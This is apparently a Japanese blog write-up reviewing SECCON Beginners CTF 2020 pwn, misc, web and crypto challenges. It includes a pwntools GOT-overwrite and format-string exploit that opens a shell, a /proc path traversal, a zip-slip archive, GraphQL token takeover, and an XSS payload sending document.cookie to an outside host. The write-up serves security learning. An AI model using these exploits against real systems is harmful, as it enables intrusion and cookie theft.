            |  atol  | -> printf@plt
            +--------+
            |   ...  |
            +--------+

この状態でatolが呼ばれると、printf(buf)(bufの中身はmalloc@gotに格納される)が実現できそう。

ということで、最初からやり直し。

code5

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'es.quals.beginners.seccon.jp'
port = 9003

e = ELF('./chall')
libc = ELF('./libc-2.27.so')

r = remote(host, port)

# *buffer の示す先を atol@got-0x8 = malloc@got に書き換え
r.recvuntil(b'index: ')
r.sendline(b'-2')
r.recvuntil(b'value: ')
r.sendline(str(e.got[b'malloc']).encode())

# atol@got を printf@plt に書き換え
r.recvuntil(b'index: ')
r.sendline(b'a'*8 + p64(e.plt[b'printf']))  # malloc -> 'aaaaaaaa', atol -> printf
res = r.recvuntil(b'value: ')
print(res)

# FSB発動
r.sendline(b'%25$p')
res = r.recvuntil(b'index: ')
print(res)

実行結果

b'aaaaaaaa\x90\x05@value: '
b'0x7fd1a3949b97\naa\x90\x05@x[11] = 20\nindex: '

やったー!アドレスっぽいものが取れています!

さて、ここでちょっと遡って、Format String Attack の index が 25 というのはどうやって導くのか考えます。

FSBの基本は今回の出題者でもあるptr-yudaiさんのブログ記事がとてもわかり易い。

Format String Exploitを試してみる - CTFするぞ

のですが、ここや他の方のwriteupを見たり、他のCTFのwriteupやgdb,gdb-pedaの使い方を見てみたのですが、この先の解法がいまいちわからず。

どうやら、gdb(gdb-peda)なんかを用いて、プログラム実行中のstackの状態を見てみると、b97が末尾に現れるところがあるので、このアドレスを確認してみると、<__libc_start_main+231>であることがわかるらしい。 このb97というのがどこから来たのか、そしてgdbの使い方がまだよくわかってないのか、プログラム実行中、printf関数実行中などにbreakpoint仕込んでもこのb97で終わるメモリが見つからない。ここらへんは、ちゃんと基礎からやらないとわからないかなぁ…。atol@gotをprintf@pltに書き換えた後に見ないといけないのかな。
gdb起動して、run中のinputにpackした値を入れたいんだけど、そのやり方がわからなかった。(今回でいうとb'a'*8 + p64(e.plt[b'printf']))。これができたら、gdb上でatol->printfの書き換え、printfの実行の状態に持っていけるので、そこでメモリを見たらこいつがいたのかしら…。

なにはともあれ、b97がわかったとして、今度はindex 25がどうやって導かれるのか。

これは、上記で困っていた「gdb上でprintfへの書き換え」ができていれば、その時のstackの状態を見れば良さそう。もしくは、先程のb97がわかっている、かつ libcアドレスはローテートされても下桁は変わらないので、これが出てくるまで %n$pnをインクリメントしながら探していけば見つかる。

大きな疑問が残ったままですが、このb97がわかったとして、libc_baseを求めるのは、上記で探し当てたb97が末尾に出てくるサーバー側のlibcアドレスから、__libc_start_main + 231を引いたものになります。

ここまでくれば、後はatolをprintfに書き換えたときと同様、今度はatolをsystemに向けてあげればshellが取れる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'es.quals.beginners.seccon.jp'
port = 9003

e = ELF('./chall')
libc = ELF('./libc-2.27.so')

r = remote(host, port)
#r = process('./chall')

# *buffer の示す先を atol@got-0x8 = malloc@got に書き換え
r.recvuntil(b'index: ')
r.sendline(b'-2')
r.recvuntil(b'value: ')
r.sendline(str(e.got[b'malloc']).encode())

# atol@got を printf@plt に書き換え
r.recvuntil(b'index: ')
r.sendline(b'a'*8 + p64(e.plt[b'printf']))
res = r.recvuntil(b'value: ')
print(res)

# FSB発動
r.sendline(b'%25$p')
res = r.recvuntil(b'index: ')
print(res)

# libc_base計算
libc_addr = int(res[:14],16)
libc_base = libc_addr - (libc.symbols[b'__libc_start_main'] + 231)
print('libc_base: ' + hex(libc_base))

# atol を system で上書き
r.sendline(b'/bin/sh\0' + p64(libc_base + libc.symbols[b'system']))

r.interactive()

実行結果

$ python solve.py 
[*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to es.quals.beginners.seccon.jp on port 9003: Done
b'aaaaaaaa\x90\x05@value: '
b'0x7f906b2fdb97\naa\x90\x05@x[11] = 20\nindex: '
libc_base: 0x7f906b2dc000
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}

ちなみに、もう一つの過密さんのwriteupでは、途中まで一緒でしたがatol->printfに書き換えの際についでにprintfの引数に%25$pを付けて1ターン省略していました。

(略)
# atol@got を printf@plt に書き換え, FSB発動
r.recvuntil(b'index: ')
r.sendline(b'%25$p,xx' + p64(e.plt[b'printf']))
res = r.recvuntil(b'value: ')
(略)

こちらの攻撃コードでも、同様にflagが取れました。

b97の謎が残ってて気持ち悪いけど、時間を溶かしすぎたのでひとまず区切り。ちゃんとpwnに入門せねば。

SECCON for Beginners CTF 2020 復習 [Misc], [Web], [Crypto]

2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 のMisc, Web, Crypto分野の復習メモです。大会終了後の問題サーバー稼働期間が 6/15(月)まで設けられているので、今からでもまだ間に合いますよ!
競技時間中に解いた問題のwrite-upはこちら。

kusuwada.hatenablog.com

[Reversing]はオフラインでも解けそうなので後回し、[Pwn]は良問すぎると噂に聞いているけど、時間がかかりそうなので後回し。

[Misc] emoemoencode [Easy]

Do you know emo-emo-encode?

emoemoencode.txt

emoemoencode.txtが配布されます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

絵文字だらけ!

githubで検索してみました。これかな?

github.com

いや、こっちっぽい。

github.com

rust環境が必要…。よっしゃinstallしたるで!ということで、下記記事を見ながらrustをささっとinstall,実行まで出来た。

qiita.com

良き良き。

…けど、ライブラリの依存エラーを解決できず。放置。絶対このライブラリ使うと思ってたんだけどなぁ…。時間だけめっちゃ使ってしまった。

競技後

ライブラリを使うのは諦めて、換字暗号っぽく解けないか見てみます。この場合、

ctf4b{xxxxx}のはずなので

  • 🍣 -> c
  • 🍴 -> t
  • 🍦 -> f
  • 🌴 -> 4
  • 🍢 -> b
  • 🍻 -> {
  • 🍽 -> }

試しに、🍣の utf32 code を見てみると、127843(10進数)。cは99。同様に🍴は127860,tは116
ここで差分を計算してみると、単純に絵文字の文字コードから127744を引くとflagになりそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

shift = 127744

with open('emoemoencode.txt','r') as f:
    emo = f.read().strip()

for c in emo:
    print(chr(ord(c)-shift),end='')

実行結果

$ python solve.py 
ctf4b{stegan0graphy_by_em000000ji}

あああああああぁぁ!これ一番好きな分野のやつじゃっん!(;▽;)ライブラリなんかに頼ろうとするからじゃ!(Crypto分野にあったら解けたかもしれん…と思ったけど、ただの負け惜しみ)

[Misc] readme [Easy]

readme

nc readme.quals.beginners.seccon.jp 9712

server.pyが配布されます。

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

どうやら/home/ctf/flagのpathを入れると読んで出力してくれそう。
でも、入力が

  • /で始まらないとダメ(絶対パスにしてくださいと怒られる)
  • ctfが入っているとダメ

ということで、条件が厳しい。逆に、これらのところでエラーが出たということは、ファイルにはたどり着いているということか。

$ nc readme.quals.beginners.seccon.jp 9712
File: ../flag
[-] Use absolute path
$ nc readme.quals.beginners.seccon.jp 9712
File: /home/ctf/flag
[-] Path not allowed

なので、相対パス絶対パスはこれであってそう。

/home/$USER/flag
/$HOME/flag
/$PWD/flag
/$PWD/../flag

などトライしてみたが、出てきません。ctfがpathに入ってるとNGなのが難しいなぁ…。

色々やってみたところ、こんな情報が取れました。

$ nc readme.quals.beginners.seccon.jp 9712
File: /etc/hosts
127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.2  b2a8444bdc32
$ nc readme.quals.beginners.seccon.jp 9712
File: /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...(中略)...
ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/ash

環境変数が確認出来たら、そこにctf階層へのエイリアスが設定されてたりする?環境変数はこんな感じで確認できそう。

/proc/{pid}/environ
/proc/$$/environ

うーん、出てこないなぁ。{pid}が知りたいけど、どうやって取るんじゃ…?

他、/proc/stat, /proc/meminfoなど、色んなsystem情報が取れました。が、flagが読めない…。ctf階層にどうやって行くのや…。

復習

ここで、作問者wirteup。

ptr-yudai.hatenablog.com

おー、この前のångstromCTFのLeetTubeでも使った、/proc/selfとかのコマンドをすっかり忘れてた…。

競技中がやりたかったのは

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=5593SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=118.241.20.208SOCAT_PEERPORT=60690

おー、出た!でも結局、environ変数を$で展開できなかったのでこれは使えなかった。

Man page of PROC

こちらにも記載のある、/proc/[pid]/cwd を今回は使うと良かったらしい。

プロセスのカレントワーキングディレクトリへのシンボリックリンク。 例えば、プロセス 20 のカレントワーキングディレクトリを見つけるためには、 次のようにすればよい。

$ cd /proc/20/cwd; /bin/pwd

これで $PWD と同じ結果が。カレントワーキングディレクトリは、上記の環境変数の情報からも/home/ctf/serverのようです。/home/ctf/flagに行くためには、

/proc/self/cwd/../flag

入れてみましょう。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

へーへーへー!これはLeetTubeの復習のときに、もっと踏み込んで勉強しておくべきだったなぁ。

[Web] unzip [Easy]

Unzip Your .zip Archive Like a Pro.

https://unzip.quals.beginners.seccon.jp/

Hint:

  • index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)

index.phpがヒントとして配布されます。

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!DOCTYPE html>
<html>

<head>
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title></title>
</head>

<body>
    <nav role="navigation">
        <div class="nav-wrapper container">
            <a id="logo-container" href="/" class="brand-logo">Unzip</a>
        </div>
    </nav>


    <div class="container">
        <br><br>
        <h1 class="header center teal-text text-lighten-2">Unzip</h1>
        <div class="row center">
            <h5 class="header col s12 light">
                Unzip Your .zip Archive Like a Pro
            </h5>
        </div>
    </div>
    </div>



    <div class="container">
        <div class="section">
            <h2>Upload</h2>
            <form method="post" enctype="multipart/form-data">
                <div class="file-field input-field">
                    <div class="btn">
                        <span>Select .zip to Upload</span>
                        <input type="file" name="file">
                    </div>
                    <div class="file-path-wrapper">
                        <input class="file-path validate" type="text">
                    </div>
                </div>
                <button class="btn waves-effect waves-light">
                    Submit
                    <i class="material-icons right">send</i>
                </button>
            </form>
        </div>
    </div>

    <div class="container">
        <div class="section">
            <h2>Files from Your Archive(s)</h2>
            <div class="collection">
                <?php foreach ($_SESSION["files"] as $filename) { ?>
                    <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
                <? } ?>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>

</html>

指定されたサイトのtopはこんな感じ。

f:id:kusuwada:20200527055430p:plain

どうやらzipファイルを送りつけるようです。1000 bytes以下じゃないと受け入れてもらえないので、1000バイト以下のファイルを作ると、uploadできました。

LFI(Local File Injection)かなぁ?と思って色々試してみたけど刺さらなかった。しょんぼり。
この前のångstromCTF 2020 Defund's Cryptが使えるかと思ったんだけどなぁ。

復習

競技後に流れてくるtweetから、どうやらpathに埋め込むタイプのようだと知る。なるほどね。zipを展開したときにpathも展開されるから、展開されたpathがflagを読むpathだと良いのか。
あと、競技中は余裕がなくてみていなかったけど、下記のdocker-compose.ymlがヒントとして追加されていたみたい。

version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

これから、flagファイルが ./flag.txtにあることがわかる。普通の名前をつけてuploadしたファイルは、./uploads/{session_id}/に上がるので、../../flag.txtがupload下がいるからflag.txtへの相対パス。zipを展開したときにファイルパスがこうなるようにzipの中身を書き換えてあげれば良い。

カレントディレクトリから2文字(書き換えやすいように)のディレクトリを2階層文作成し、そこにflag.txtを配置。これをzipして後からpathをバイナリエディタなどで書き換える。

$ mkdir -p aa/aa
$ vi aa/aa/flag.txt
$ zip attack.zip ./aa/aa/flag.txt 

バイナリエディタで開き、aa/aa -> ../../に書き換え。attack.zipを送り込んで開いてみるとflagが表示されました!

f:id:kusuwada:20200527061522p:plain

これもそんなに難しくない問題だったんだなぁ…。解けなかったけど。

[Web] profiler [Medium]

Let's edit your profile with profiler!

Hint : You don't need to deobfuscate *.js

指定されたurlにアクセスしてみます。

f:id:kusuwada:20200527063039p:plain

Register, Login機能があるサイトのようです。
競技中に目を通した時は、このページにしかアクセスできずRegisterすると落ちていたので手を付けていませんでした。

復習

上記、Registerに成功すると

Registered successfully. Your token is 0d226bae78b31f53c9a799f80ffd3df0985d9a697291dfaba245a6689c2add3b. Don't lose it!

みたいな文言が。cookieにも保存されていないので、覚えておきます。

Loginするとこんなメニュー。

f:id:kusuwada:20200527064305p:plain

新しいプロフィールを先程のtokenとともにセットすると、プロフィールが書き換わって新しいプロフィールが表示されます。

お、Get Flagあるじゃん!とポチってみると

Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).

だそうです。

profile書き換えのところに何かヒントがないかと、XSS, SSTIなどを試してみますが刺さりません。

今回はソースは配布されていないので、通信を見てみます。

f:id:kusuwada:20200527065612p:plain

f:id:kusuwada:20200527065614p:plain

request dataはこんな感じ。

data: {me: {name: "kusuwada", profile: "{{config.info}}", uid: "kusuwada"}}

responseはこんな感じ。

{"data":{"me":{"name":"kusuwada","profile":"{{config.info}}","uid":"kusuwada"}}}

特にrequestのほうが、あまり見たことない形式です…。
競技後のtwitter情報でGraphQLに関する問題が出たらしいというのと、最近開発運用系の勉強会やMeetupでもちょいちょい出てくるGraphQLが、こんな感じのreq/resだというのを思い出しました。CTFで見かけるのははじめてです。

通信を見ると、他にも結構長いall.jsや、難読化されてるprofile.jsが見つかります。これは見たくないなぁ…。

ということで早速作問者writeupを見てみます。

szarny.hatenablog.com

やはりGraphQLの問題だったみたい。curlコマンドで投げることもできるけど、せっかくなので紹介されていたツール(GraphQL Playground)を導入。スタンドアロン型のほう。

www.electronjs.org

もう一つ候補だったGraphiQLより、できることが多そう。

立ち上げて、今回GraphQLのendpointと思われる/apiをendpointに設定してworkspaceを開始します。
開いた途端、Headerにtokenの設定も何もしていない状態で、右のSCHEMAタブからAPIスキーマが確認できました🙌 これは便利。

f:id:kusuwada:20200527154021p:plain

これがGraphQLの特徴の一つ、イントロスペクション(Introspection)だそうです。ちゃちゃっとGraphQLについて調べたい時、ササッと読みやすかった記事。

GraphQLについて再入門 | 69log

Introspection

ざっくりGraphQLがどのようなクエリやフィールドをサポートしているのかを問合る機能。

SchemaTypeTypeKindFieldnputValueEnumValueDirective アンダースコア()で始まるこれらはすべてイントロスペクションを表す。内部の情報をクエリ経由で参照できる。つまりそのgraphqlサービスが提供するすべてを知ることができる。

仕組みの概念はこちら

www.redhat.com

基本的にはqueryが REST の READ, 情報を取るときの操作のイメージで、mutationがその他 CREATE, UPDATE ,DELETE を担う形のようです。

先程のツールのDocsタブを確認すると、

f:id:kusuwada:20200527172946p:plain

queryme,someone,flagmutationupdateProfile,updateTokenが定義されていることがわかります。ブラウザから確認できなかった機能のsomeone,updateTokenと、GetFlagのときのエラーメッセージから、adminのtokenを入手、これで自分のtokenを書き換えてflag queryを呼んだら良さそうなことがイメージできます。

まずは自分のプロフィールをとって来てみます。

※アプリ上ではerrorになってresponseが表示されなかった。curlコマンドコピー機能でコピーして、投げたら行けた。

まずは、下の方のメニューのHTTP HEADERSタブから、Cookieにsessionを登録します。

{"Cookie": "session={ブラウザの開発者ツールなどから取得したsessionの値}"}

GraphQL playgroundで作成したクエリ

query{
  me {
    uid
    name
    profile
  }
}

"COPY CURL"機能でコピーしたコマンド。と実行結果。

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' -H 'Cookie: session={セッション}' -H 'content-type: application/json' --data-binary '{"query":"query {\n  me {\n    uid\n    name\n    profile\n  }\n}\n"}' --compressed
{"data":{"me":{"name":"kusuwada","profile":"hello!","uid":"kusuwada"}}}

取れた!

次は、someoneadminが取れないか試してみます。自分のuidkusuwadaになっていたので、adminのuidadminだと良いなぁ。

f:id:kusuwada:20200527235114p:plain

返ってきた!

次はupdateTokenを呼んでみます。今回もアプリ上ではresponseがerrorになってしまって表示されなかったので、"COPY CURL"機能でコピーしたやつを実行。

mutation{
  updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}

curl実行結果

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' -H 'Cookie: session=eyJ1aWQiOiJrdXN1d2FkYTIifQ.Xs6CYA.JEGTD7uXSFQJZTweNs0vYRI8yes' -H 'content-type: application/json' --data-binary '{"query":"mutation{\n  updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n}"}' --compressed
{"data":{"updateToken":true}}

オッ!成功しました。おそらく子供のお風呂や寝かしつけを挟んだためタイムアウトしたんだと思いますが、途中何度も failed になってしまったので出来ないかと思った…。

tokenの書き換えに成功したっぽいので、ブラウザに戻って Get FLAG ボタンをポチッと。
flagが表示されました🍻

f:id:kusuwada:20200528001240p:plain

You don't need to deobfuscate *.jsのヒントはとても嬉しいなぁ。時間がかかる余計なことをしなくてすむ。

[Web] Somen [Hard]

Somen is tasty.

Hint:

  • worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
  • index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)

そうめん?前回ラーメンだったから、今度は素麺?
ヒントとして、worker.jsindex.phpが配布されます。

const puppeteer = require('puppeteer');

/* ... ... */

// initialize
const browser = await puppeteer.launch({
    executablePath: 'google-chrome-unstable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disk-cache-dir=/dev/null',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

// access
// username is the input value of players
const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`;
try {
    await page.goto(url, {
        waitUntil: 'networkidle0',
        timeout: 5000,
    });
} catch (err) {
    console.log(err);
}

// finalize
await page.close();
await browser.close();

/* ... ... */
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

<body>
    <h1>Best somen for You</h1>

    <p>Please input your name. You can use only alphabets and digits.</p>
    <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
    <p id="message"></p>
    <form action="/" method="GET">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>
    <hr>

    <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
    <form action="/inquiry" method="POST">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>

</body>

ちなみに、このソースから存在がわかるsecurity.js

console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

指定されたurlに飛ぶとこんなページ。

f:id:kusuwada:20200528004819p:plain

試しにtestを入れてみると、

test, I recommend Nagashi somen for you.

というリコメンドが出た。urlは?username=test

試しに今度は'だけ入力してみると、/error.phpに飛び、Are you human? :-) の文が流れてくるページに。(流しそうめんだけに…?)

If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.

ここ怪しい。

こっちにさっきの'を入れてみると、/inquiryに飛び、 Okay! I got it :-) とテキストが表示されました。

worker.jsを見てみると、上で入力したところに訪れてくれるadminは、setCookie関数でflagというcookieをセットしているみたいです。このあと、https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}にアクセスしてきてくれるそうなので、自分の用意したエンドポイントにきてcookieを吐いてくれると嬉しいなぁ。

試しに、javascriptスキームを突っ込んでみた

javascript: window.location = "{用意したエンドポイント}";

ら、エラーページに飛ばされた。
security.jsの制約により[a-z,0-9]しかusernameには使えない制約があるので、それはそう。
あと、Content-Security-Policy:の設定もあるので、CSP回避も考えなくては。

CSP回避については、過去にもやったときに使った、CSPの検証をしつつ脆弱なところを教えてくれる下記サイトに突っ込んで調べてもらいます。

CSP Evaluator

f:id:kusuwada:20200528070504p:plain

フム。赤くなってる High security finding なところは、base-url [missing] とのこと。

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?

ほほう?baseが設定されていないので、攻撃者に設定されると相対パスで指定しているようなソースは攻撃者が任意のものに設定できる感じなのかな。

入力値チェックに使われているsecurity.jsは下記のように相対パスで参照されているので、baseが書き換わると参照先も書き換えor無効にできそう。

<script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>

試しに、usernameに下記を突っ込んでみました。

<base href="http://example.com">

うーん、error pageに飛ばされる🤔 curlコマンドで送ってみます。

$ curl -X POST "https://somen.quals.beginners.seccon.jp/?username=<base href="http://example.com">"
~~(略)~~
 <title>Best somen for <base href=http://example.com></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
~~(略)~~

お、titleのところがinjectionできるのか。

今度はまたブラウザフォームから、

</title><base href="http://example.com">

を送ってみると、今度はerrorページには飛びませんでした!かわりに、こんな文言が表示。

, I recommend Hiyashi somen for you.

usernameのところは空になっています。これはきっとsecurity.js読み込みを回避できたに違いない!

とこの辺でタイムアップ。

復習

作問者writeupをカンニング

diary.shift-js.info

他、色んな人が色んな解き方をしていて参考になった。

まずは情報の整理。

方針

  • adminに自分の用意したエンドポイントに来てcookieを吐いてもらう。

突破しなければならない防御

  • CSP (Contents Security Policy)
  • security.js による username チェック ([a-z,0-9]のみ)

脆弱な部分

  • <title> 部分に user 入力をそのまま突っ込んでいる
  • document.getElementById("message").innerHTMLの部分にも任意コードが挿入可能
    • ※ただし、このときの入力はsecurity.jsのチェック後
  • base tag を攻撃者が設定すると、baseを書き換え可能(使わなくても解ける)

security.js の実行回避

まず、やっぱりこれがあっては無理、ということでsecurity.jsの回避方法。security.jsより前にある脆弱部分<title>タグのところに仕込む。

先程の

</title><base href="http://example.com">

でも正解。

もう一つ、base tagを使わない解き方は、単純に<script>タグを勝手に始めてしまって、scriptタグを破壊する、もしくはずっと文字列が続いていると思わせる作戦。

破壊

</title><script>

文字列と思わせる

</title><script x="

imgタグを使ってみる

</title><img src="

これらは、次の</script>タグまで有効なので、その後の処理は破壊されません。

攻撃コードの埋め込み

CSPで設定されているのはこちら。

* default-src 'none';
* script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='

他の方のwriteupによると

strict-dynamicが設定されている場合、「すでに信頼されている Javascript が生成した Javascript コード」は実行されるらしい。

前も見た気がする、この記事に詳しく書かれている。

Content Security Policy Level 3におけるXSS対策 - pixiv inside

Content Security Policy Level 3 > nonce + strict-dynamic

  • nonceによるscriptの実行制御が強制される (script-srcドメインホワイトリストを書いても無視される)
  • nonceにより実行を許可されたscriptから動的に生成された別のscriptも実行が許可されるようになる

今回の場合は、innerHTMLの箇所

document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;

は、その数段上に書いてあるとおり nonce によって実行が許可されたインラインスクリプトなので、ここで生成されたスクリプトも実行が許可されます。

このコードはid="message"となっているタグの中身を書き換えるものであるので<script id="message">を事前に挿入しておき、innerHTML によって<script id="message">内で Javascript を展開して実行することができます

なるほど!

でもさっきの security.js 読み込みの回避も、今回のも username に埋め込むなら、どうやってやるの?と思っていたら、

また<script id="message">内で Javascript が展開された時に邪魔になるコードをコメントアウトすると

ほうほう!

alert()//</title><script id="message"></script><base href="http://example.com">

コメントアウトでつなげて、アラートを発生させてみます。これをブラウザから入力してAskしてみると…

f:id:kusuwada:20200528162326p:plain

alertが表示されました!やったー!

あとは、cookieを見てもらうように設定するだけ。

location.href="https://kusuwada.free.beeceptor.com/?"+document.cookie//</title><script id="message"></script><base href="http://example.com">

f:id:kusuwada:20200528163122p:plain

来たー!

今回の問題は、ここにほとんど書かれていたようです。

XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io

ってこれは他のWeb問の出題者の tsubasa さんのブログですね。この問題の作問者は、今回と同じ つばめ さんでした。納得。

[Crypto] Noisy equations [Easy]

noise hides flag.

nc noisy-equations.quals.beginners.seccon.jp 3000

noisy-equations.zip

